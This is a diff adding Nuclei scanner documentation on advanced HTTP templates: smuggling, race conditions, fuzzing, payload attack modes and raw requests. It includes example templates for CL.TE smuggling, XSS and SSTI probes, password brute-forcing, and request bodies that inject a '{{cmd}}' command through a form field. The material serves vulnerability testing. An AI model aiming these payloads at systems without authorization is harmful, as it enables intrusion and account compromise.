|
||||
```
|
||||
|
||||
`pretty` variable output:
|
||||
|
||||
```json
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
```
|
||||
|
||||
**`resolve`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{resolve(host,format)}}
|
||||
```
|
||||
|
||||
Here is a list of formats available for dns type:
|
||||
|
||||
- `4` or `a`
|
||||
- `6` or `aaaa`
|
||||
- `cname`
|
||||
- `ns`
|
||||
- `txt`
|
||||
- `srv`
|
||||
- `ptr`
|
||||
- `mx`
|
||||
- `soa`
|
||||
- `caa`
|
||||
|
||||
337
docs/template-guide/http/advance-http.mdx
Normal file
@ -0,0 +1,337 @@
|
||||
---
|
||||
title: "Advance HTTP"
|
||||
---
|
||||
## Advance requests
|
||||
|
||||
We’ve enriched nuclei to allow advanced scanning of web servers. Users can now use multiple options to tune HTTP request workflows.
|
||||
|
||||
### Pipelining
|
||||
|
||||
HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from [http-desync-attacks-request-smuggling-reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn).
|
||||
|
||||
Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine.
|
||||
|
||||
If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, [httpx](https://github.com/projectdiscovery/) has a flag `-pipeline` to do so.
|
||||
|
||||
An example configuring showing pipelining attributes of nuclei.
|
||||
|
||||
```yaml
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
```
|
||||
|
||||
An example template demonstrating pipelining capabilities of nuclei has been provided below-
|
||||
|
||||
```yaml
|
||||
id: pipeline-testing
|
||||
info:
|
||||
name: pipeline testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
GET /{{path}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
path: path_wordlist.txt
|
||||
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
### Connection pooling
|
||||
|
||||
While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement.
|
||||
|
||||
To enable connection pooling in the template, `threads` attribute can be defined with respective number of threads you wanted to use in the payloads sections.
|
||||
|
||||
`Connection: Close` header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling.
|
||||
|
||||
An example template using HTTP connection pooling-
|
||||
|
||||
```yaml
|
||||
id: fuzzing-example
|
||||
info:
|
||||
name: Connection pooling example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /protected HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('admin:§password§')}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
password: password.txt
|
||||
threads: 40
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "Unique string"
|
||||
part: body
|
||||
```
|
||||
|
||||
### Smuggling
|
||||
|
||||
HTTP Smuggling is a class of Web-Attacks recently made popular by [Portswigger’s Research](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) into the topic. For an in-depth overview, please visit the article linked above.
|
||||
|
||||
In the open source space, detecting http smuggling is difficult particularly due to the requests for detection being malformed by nature. Nuclei is able to reliably detect HTTP Smuggling vulnerabilities utilising the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine.
|
||||
|
||||
The most basic example of an HTTP Smuggling vulnerability is CL.TE Smuggling. An example template to detect a CE.TL HTTP Smuggling vulnerability is provided below using the `unsafe: true` attribute for rawhttp based requests.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Unrecognized method GPOST'
|
||||
```
|
||||
|
||||
More examples are available in [template-example](/template-example/http/http-smuggling/) section for smuggling templates.
|
||||
|
||||
### Race conditions
|
||||
|
||||
Race Conditions are another class of bugs not easily automated via traditional tooling. Burp Suite introduced a Gate mechanism to Turbo Intruder where all the bytes for all the requests are sent expect the last one at once which is only sent together for all requests synchronizing the send event.
|
||||
|
||||
We have implemented **Gate** mechanism in nuclei engine and allow them run via templates which makes the testing for this specific bug class simple and portable.
|
||||
|
||||
To enable race condition check within template, `race` attribute can be set to `true` and `race_count` defines the number of simultaneous request you want to initiate.
|
||||
|
||||
Below is an example template where the same request is repeated for 10 times using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
You can simply replace the `POST` request with any suspected vulnerable request and change the `race_count` as per your need, and it's ready to run.
|
||||
|
||||
```bash
|
||||
nuclei -t race.yaml -target https://api.target.com
|
||||
```
|
||||
|
||||
**Multi request race condition testing**
|
||||
|
||||
For the scenario when multiple requests needs to be sent in order to exploit the race condition, we can make use of threads.
|
||||
|
||||
```yaml
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
`threads` is a total number of request you wanted make with the template to perform race condition testing.
|
||||
|
||||
|
||||
Below is an example template where multiple (5) unique request will be sent at the same time using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: multi-request-race
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
## Requests Annotation
|
||||
|
||||
Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:
|
||||
|
||||
- `@Host:` which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: `domain.tld`, `domain.tld:port`, `http://domain.tld:port`
|
||||
- `@tls-sni:` which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value `request.host` uses the `Host` header and `interactsh-url` uses an interactsh generated URL.
|
||||
- `@timeout:` which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.
|
||||
|
||||
The following example shows the annotations within a request:
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@Host: https://projectdiscovery.io:443
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
```
|
||||
This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity):
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
# this request will be sent to {{Hostname}} to get the token
|
||||
- |
|
||||
GET /getkey HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
# This request will be sent instead to https://api.target.com:443 to verify the token validity
|
||||
- |
|
||||
@Host: https://api.target.com:443
|
||||
GET /api/key={{token}} HTTP/1.1
|
||||
Host: api.target.com:443
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: token
|
||||
part: body
|
||||
regex:
|
||||
# random extractor of strings between prefix and suffix
|
||||
- 'prefix(.*)suffix'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- valid token
|
||||
```
|
||||
|
||||
Example of a custom `timeout` annotations -
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@timeout: 25s
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||
|
||||
Example of `sni` annotation with `interactsh-url` -
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@tls-sni: interactsh-url
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||
175
docs/template-guide/http/base-http.mdx
Normal file
@ -0,0 +1,175 @@
|
||||
---
|
||||
title: "Base HTTP"
|
||||
---
|
||||
<Note>
|
||||
**Requests**
|
||||
|
||||
Nuclei offers extensive support for various features related to HTTP protocol. Raw and Model based HTTP requests are supported, along with options Non-RFC client requests support too. Payloads can also be specified and raw requests can be transformed based on payload values along with many more capabilities that are shown later on this Page.
|
||||
|
||||
HTTP Requests start with a `request` block which specifies the start of the requests for the template.
|
||||
</Note>
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
http:
|
||||
```
|
||||
|
||||
<Note>
|
||||
**Method**
|
||||
|
||||
Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc. depending on the needs.
|
||||
</Note>
|
||||
|
||||
```yaml
|
||||
# Method is the method for the request
|
||||
method: GET
|
||||
```
|
||||
|
||||
<Note>
|
||||
**Redirects**
|
||||
|
||||
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
|
||||
</Note>
|
||||
|
||||
An example of the usage:
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/login.php"
|
||||
redirects: true
|
||||
max-redirects: 3
|
||||
```
|
||||
|
||||
<Warning>Currently redirects are defined per template, not per request.</Warning>
|
||||
|
||||
<Note>
|
||||
**Path**
|
||||
|
||||
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime.
|
||||
|
||||
Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
**{{BaseURL}}** - This will replace on runtime in the request by the input URL as specified in the target file.
|
||||
|
||||
**{{RootURL}}** - This will replace on runtime in the request by the root URL as specified in the target file.
|
||||
|
||||
**{{Hostname}}** - Hostname variable is replaced by the hostname including port of the target on runtime.
|
||||
|
||||
**{{Host}}** - This will replace on runtime in the request by the input host as specified in the target file.
|
||||
|
||||
**{{Port}}** - This will replace on runtime in the request by the input port as specified in the target file.
|
||||
|
||||
**{{Path}}** - This will replace on runtime in the request by the input path as specified in the target file.
|
||||
|
||||
**{{File}}** - This will replace on runtime in the request by the input filename as specified in the target file.
|
||||
|
||||
**{{Scheme}}** - This will replace on runtime in the request by protocol scheme as specified in the target file.
|
||||
|
||||
</Note>
|
||||
|
||||
An example is provided below - https://example.com:443/foo/bar.php
|
||||
|
||||
| Variable | Value |
|
||||
|--------------|-------------------------------------|
|
||||
| \{\{BaseURL\}\} | https://example.com:443/foo/bar.php |
|
||||
| \{\{RootURL\}\} | https://example.com:443 |
|
||||
| \{\{Hostname\}\} | example.com:443 |
|
||||
| \{\{Host\}\} | example.com |
|
||||
| \{\{Port\}\} | 443 |
|
||||
| \{\{Path\}\} | /foo |
|
||||
| \{\{File\}\} | bar.php |
|
||||
| \{\{Scheme\}\} | https |
|
||||
|
||||
|
||||
Some sample dynamic variable replacement examples:
|
||||
|
||||
```yaml
|
||||
path: "{{BaseURL}}/.git/config"
|
||||
# This path will be replaced on execution with BaseURL
|
||||
# If BaseURL is set to https://abc.com then the
|
||||
# path will get replaced to the following: https://abc.com/.git/config
|
||||
```
|
||||
|
||||
Multiple paths can also be specified in one request which will be requested for the target.
|
||||
|
||||
### Headers
|
||||
|
||||
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
|
||||
|
||||
```yaml
|
||||
# headers contain the headers for the request
|
||||
headers:
|
||||
# Custom user-agent header
|
||||
User-Agent: Some-Random-User-Agent
|
||||
# Custom request origin
|
||||
Origin: https://google.com
|
||||
```
|
||||
|
||||
### Body
|
||||
|
||||
Body specifies a body to be sent along with the request. For instance:
|
||||
|
||||
```yaml
|
||||
# Body is a string sent along with the request
|
||||
body: "{\"some random JSON\"}"
|
||||
|
||||
# Body is a string sent along with the request
|
||||
body: "admin=test"
|
||||
```
|
||||
|
||||
### Session
|
||||
|
||||
To maintain cookie based browser like session between multiple requests, you can simply use `cookie-reuse: true` in your template, Useful in cases where you want to maintain session between series of request to complete the exploit chain and to perform authenticated scans.
|
||||
|
||||
```yaml
|
||||
# cookie-reuse accepts boolean input and false as default
|
||||
cookie-reuse: true
|
||||
```
|
||||
|
||||
### Request Condition
|
||||
|
||||
Request condition allows checking for the condition between multiple requests for writing complex checks and exploits involving various HTTP requests to complete the exploit chain.
|
||||
|
||||
The functionality will be automatically enabled if DSL matchers/extractors contain numbers as a suffix with respective attributes.
|
||||
|
||||
For example, the attribute `status_code` will point to the effective status code of the current request/response pair in elaboration. Previous responses status codes are accessible by suffixing the attribute name with `_n`, where n is the n-th ordered request 1-based. So if the template has four requests and we are currently at number 3:
|
||||
- `status_code`: will refer to the response code of request number 3
|
||||
- `status_code_1` and `status_code_2` will refer to the response codes of the sequential responses number one and two
|
||||
|
||||
For example with `status_code_1`, `status_code_3`, and`body_2`:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"
|
||||
```
|
||||
<Note>Request conditions might require more memory as all attributes of previous responses are kept in memory</Note>
|
||||
|
||||
### **Example HTTP Template**
|
||||
|
||||
The final template file for the `.git/config` file mentioned above is as follows:
|
||||
|
||||
```yaml
|
||||
id: git-config
|
||||
|
||||
info:
|
||||
name: Git Config File
|
||||
author: Ice3man
|
||||
severity: medium
|
||||
description: Searches for the pattern /.git/config on passed URLs.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.git/config"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "[core]"
|
||||
```
|
||||
|
||||
|
||||
|
||||
196
docs/template-guide/http/http-fuzzing.mdx
Normal file
@ -0,0 +1,196 @@
|
||||
---
|
||||
title: "HTTP Fuzzing"
|
||||
---
|
||||
|
||||
### HTTP Fuzzing
|
||||
|
||||
Nuclei supports fuzzing of HTTP requests based on rules defined in the `fuzzing` section of the HTTP request. This allows creating templates for generic Web Application vulnerabilities like SQLi, SSRF, CMDi, etc without any information of the target like a classic web fuzzer.
|
||||
|
||||
#### Part
|
||||
|
||||
Part specifies what part of the request should be fuzzed based on the specified rules. Available options for this parameter are -
|
||||
|
||||
1. **query** (`default`) - fuzz query parameters for URL
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query # fuzz parameters in URL query
|
||||
```
|
||||
|
||||
Support will be added for `path`,`header`,`body`,`cookie`, etc parts soon.
|
||||
|
||||
#### Type
|
||||
|
||||
Type specifies the type of replacement to perform for the fuzzing rule value. Available options for this parameter are -
|
||||
|
||||
1. **replace** (`default`) - replace the value with payload
|
||||
2. **prefix** - prefix the value with payload
|
||||
3. **postfix** - postfix the value with payload
|
||||
4. **infix** - infix the value with payload (place in between)
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix # Fuzz query and postfix payload to params
|
||||
```
|
||||
|
||||
#### Mode
|
||||
|
||||
Mode specifies the mode in which to perform the replacements. Available modes are -
|
||||
|
||||
1. **multiple** (`default`) - replace all values at once
|
||||
2. **single** - replace one value at a time
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple # Fuzz query postfixing payloads to all parameters at once
|
||||
```
|
||||
|
||||
> **Note**: default values are set/used when other options are not defined.
|
||||
|
||||
#### Filters
|
||||
|
||||
Multiple filters are supported to restrict the scope of fuzzing to only interesting parameter keys and values. Nuclei HTTP Fuzzing engine converts request parts into Keys and Values which then can be filtered by their related options.
|
||||
|
||||
The following filter fields are supported -
|
||||
|
||||
1. **keys** - list of parameter names to fuzz (exact match)
|
||||
2. **keys-regex** - list of parameter regex to fuzz
|
||||
3. **values** - list of value regex to fuzz
|
||||
|
||||
These filters can be used in combination to run highly targeted fuzzing based on the parameter input. A few examples of such filtering are provided below.
|
||||
|
||||
```yaml
|
||||
# fuzzing command injection based on parameter name value
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "daemon"
|
||||
- "upload"
|
||||
- "dir"
|
||||
- "execute"
|
||||
- "download"
|
||||
- "log"
|
||||
- "ip"
|
||||
- "cli"
|
||||
- "cmd"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# fuzzing openredirects based on parameter name regex
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys-regex:
|
||||
- "redirect.*"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# fuzzing ssrf based on parameter value regex
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
values:
|
||||
- "https?://.*"
|
||||
```
|
||||
|
||||
#### Fuzz
|
||||
|
||||
Fuzz specifies the values to replace with a `type` for a parameter. It supports payloads, DSL functions, etc and allows users to fully utilize the existing nuclei feature-set for fuzzing purposes.
|
||||
|
||||
```yaml
|
||||
# fuzz section for xss fuzzing with stop-at-first-match
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# using interactsh-url placeholder for oob testing
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "dest"
|
||||
- "redirect"
|
||||
- "uri"
|
||||
fuzz:
|
||||
- "https://{{redirect}}"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# using template-level variables for SSTI testing
|
||||
variables:
|
||||
first: "{{rand_int(10000, 99999)}}"
|
||||
second: "{{rand_int(10000, 99999)}}"
|
||||
result: "{{to_number(first)*to_number(second)}}"
|
||||
|
||||
http:
|
||||
...
|
||||
payloads:
|
||||
reflection:
|
||||
- '{{concat("{{", "§first§*§second§", "}}")}}'
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
```
|
||||
|
||||
#### Example **Fuzzing** template
|
||||
|
||||
An example sample template for fuzzing XSS vulnerabilities is provided below.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-xss
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential XSS Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{reflection}}"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/http/http-fuzzing)
|
||||
87
docs/template-guide/http/http-payloads.mdx
Normal file
@ -0,0 +1,87 @@
|
||||
---
|
||||
title: "HTTP Payloads"
|
||||
---
|
||||
|
||||
<Note>
|
||||
|
||||
Nuclei engine supports payloads module that allow to run various type of payloads in multiple format, It's possible to define placeholders with simple keywords (or using brackets `{{helper_function(variable)}}` in case mutator functions are needed), and perform **batteringram**, **pitchfork** and **clusterbomb** attacks. The wordlist for these attacks needs to be defined during the request definition under the Payload field, with a name matching the keyword, Nuclei supports both file based and in template wordlist support and Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values.
|
||||
|
||||
Payloads are defined using variable name and can be referenced in the request in between `§ §` or `{{ }}` marker.
|
||||
|
||||
</Note>
|
||||
|
||||
An example of the using payloads with local wordlist:
|
||||
|
||||
```yaml
|
||||
# HTTP Intruder fuzzing using local wordlist.
|
||||
|
||||
payloads:
|
||||
paths: params.txt
|
||||
header: local.txt
|
||||
```
|
||||
|
||||
An example of the using payloads with in template wordlist support:
|
||||
|
||||
```yaml
|
||||
# HTTP Intruder fuzzing using in template wordlist.
|
||||
|
||||
payloads:
|
||||
password:
|
||||
- admin
|
||||
- guest
|
||||
- password
|
||||
```
|
||||
|
||||
**Note:** be careful while selecting attack type, as unexpected input will break the template.
|
||||
|
||||
For example, if you used `clusterbomb` or `pitchfork` as attack type and defined only one variable in the payload section, template will fail to compile, as `clusterbomb` or `pitchfork` expect more than one variable to use in the template.
|
||||
|
||||
### Attack mode
|
||||
|
||||
Nuclei engine supports multiple attack types, including `batteringram` as default type which generally used to fuzz single parameter, `clusterbomb` and `pitchfork` for fuzzing multiple parameters which works same as classical burp intruder.
|
||||
|
||||
| **Type** | batteringram | pitchfork | clusterbomb |
|
||||
|-------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| **Support** | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
|
||||
|
||||
<Note>
|
||||
**batteringram**
|
||||
|
||||
The battering ram attack type places the same payload value in all positions. It uses only one payload set. It loops through the payload set and replaces all positions with the payload value.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**pitchfork**
|
||||
The pitchfork attack type uses one payload set for each position. It places the first payload in the first position, the second payload in the second position, and so on.
|
||||
|
||||
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**clusterbomb**
|
||||
The cluster bomb attack tries all different combinations of payloads. It still puts the first payload in the first position, and the second payload in the second position. But when it loops through the payload sets, it tries all combinations.
|
||||
|
||||
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
|
||||
|
||||
This attack type is useful for a brute-force attack. Load a list of commonly used usernames in the first payload set, and a list of commonly used passwords in the second payload set. The cluster bomb attack will then try all combinations.
|
||||
|
||||
More details [here](https://www.sjoerdlangkemper.nl/2017/08/02/burp-intruder-attack-types/).
|
||||
|
||||
</Note>
|
||||
|
||||
An example of the using `clusterbomb` attack to fuzz.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /?file={{path}} HTTP/1.1
|
||||
User-Agent: {{header}}
|
||||
Host: {{Hostname}}
|
||||
|
||||
payloads:
|
||||
path: helpers/wordlists/prams.txt
|
||||
header: helpers/wordlists/header.txt
|
||||
attack: clusterbomb # Defining HTTP fuzz attack type
|
||||
```
|
||||
36
docs/template-guide/http/raw-http.mdx
Normal file
@ -0,0 +1,36 @@
|
||||
---
|
||||
title: "RAW HTTP requests"
|
||||
---
|
||||
Another way to create request is using raw requests which comes with more flexibility and support of DSL helper functions, like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`), All the Matcher, Extractor capabilities can be used with RAW requests in same the way described above.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /path2/ HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
a=test&b=pd
|
||||
```
|
||||
Requests can be fine-tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
|
||||
|
||||
RAW request format also supports [various helper functions](/template-guide/helper-functions/) letting us do run time manipulation with input. An example of the using a helper function in the header.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET /manager/html HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('username:password')}} # Helper function to encode input at run time.
|
||||
```
|
||||
|
||||
To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
```
|
||||
|
||||
38
docs/template-guide/http/unsafe-http.mdx
Normal file
@ -0,0 +1,38 @@
|
||||
---
|
||||
title: "Unsafe HTTP Requests"
|
||||
---
|
||||
|
||||
Nuclei supports [rawhttp](https://github.com/projectdiscovery/rawhttp) for complete request control and customization allowing **any kind of malformed requests** for issues like HTTP request smuggling, Host header injection, CRLF with malformed characters and more.
|
||||
|
||||
**rawhttp** library is disabled by default and can be enabled by including `unsafe: true` in the request block.
|
||||
|
||||
Here is an example of HTTP request smuggling detection template using `rawhttp`.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
